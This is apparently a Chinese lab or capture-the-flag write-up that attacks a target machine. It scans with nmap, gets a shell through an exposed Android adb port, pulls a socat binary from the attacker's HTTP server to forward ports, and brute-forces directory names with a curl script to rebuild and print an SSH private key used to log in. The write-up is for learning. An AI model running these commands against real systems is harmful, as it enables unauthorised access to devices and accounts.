前言
本文介绍了Kali Linux的基本使用技巧和nmap常见命令,重点演示了端口扫描、安卓设备反向代理和权限提升过程。通过nmap扫描发现安卓设备5555端口开放,使用adb工具连接后,将安卓80端口反向代理到Kali主机的过程。
正文
1、端口扫描
bash
nmap -sV -v -T4 -A 192.168.31.198
发现5555端口开放,并且还是android设备。

尝试使用adb工具进入shell界面:

看下安卓开放的端口:
bash
netstat -lntup

uname -m看下这个安卓是啥架构:

说明这个靶机是 64 位 x86 架构(PC / 模拟器环境)
2、安卓端口反向代理
我们得想办法把安卓的80端口,代理到我们自己的主机端口上。
(1)在 Kali 里执行以下命令,下载一个静态编译、无依赖的 socat:
bash
cd ~/Desktop
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat
chmod +x socat
(2)启动 Kali 的 HTTP 服务:
bash
python3 -m http.server 80
(3)在安卓里,想办法把这个文件传到/home/runner目录下:
bash
adb shell
ls
cd tmp
wget 192.168.31.188/socat
cp socat /home/runner
cd /home/runner
chmod +x socat
/home/runner/socat -d -d TCP-LISTEN:9000,fork TCP4:127.0.0.1:80 &

可以通过命令:
bash
netstat -tuln
看看安卓的9000端口启动了没

然后在kali里,下载一个工具tealdeer,更新的时候遇到了问题:

安装 proxychains:
bash
apt update && apt install -y proxychains4
编辑配置文件:
bash
nano /etc/proxychains4.conf
把最后一行改成你的代理(比如你的代理是 socks5://192.168.3.94:6454):
bash
# 注释掉原来的 127.0.0.1:9050,改成下面这行
socks5 192.168.3.94 6454
同理,Kali里的浏览器也是同理设置:


用 proxychains 运行 tldr,完美解决。
bash
proxychains4 tldr --update

可以通过以下命令验证一下:
bash
curl -v https://github.com
如果 GitHub 也返回 HTML,说明代理对 GitHub 是通的。
最后,代理一下9000端口:

3、目录遍历获取RSA密钥
扫目录的时候,发现目录的文件名像RSA私钥(这谁能想到),所以要把扫到的目录,拼接成一个字符串,那就写脚本。
首先,生成标准的 base64.txt:
bash
echo {A..Z} {a..z} {0..9} + / = | tr ' ' '\n' > base64.txt
然后新建一个c.sh放到kali里:
bash
#!/bin/bash
for s in $(seq 1 5)
do
key=""
for k in $(seq 70)
do
for i in $(cat base64.txt)
do
tmp="$key$i"
a=$(curl -s "http://192.168.31.198:9000/line${s}/$tmp")
[ -z "$a" ] && key="$tmp" && break
done
done
echo "$key"
done
chmod +x 把c.sh这个文件权限提高,然后执行:

| 内容 | 含义 & 作用 |
|---|---|
ssh-keygen -y -f id2 |
这是核心命令,作用是从 SSH 私钥文件生成对应的公钥 : - ssh-keygen:SSH 密钥管理的核心工具 - -y:关键参数,"从私钥文件中提取公钥"(不会修改原私钥,只读生成) - -f id2:指定要读取的私钥文件是当前目录下的 id2(如果 id2 不在当前目录,需要写完整路径,比如 /root/Desktop/id2) |
然后把id2的内容改一下格式:
bash
cat > id2 << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u
XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J
5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ=
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 id2
4、用户提权
通过命令:
bash
ssh-keygen -y -f id2
拿到用户名,通过命令:
bash
ssh asahi@192.168.31.198 -i id2
成功拿到fuzz用户权限:

查看当前用户可执行的权限:

到这一步,不知道如何文件上传拿到root权限了。后面学明白了再填坑。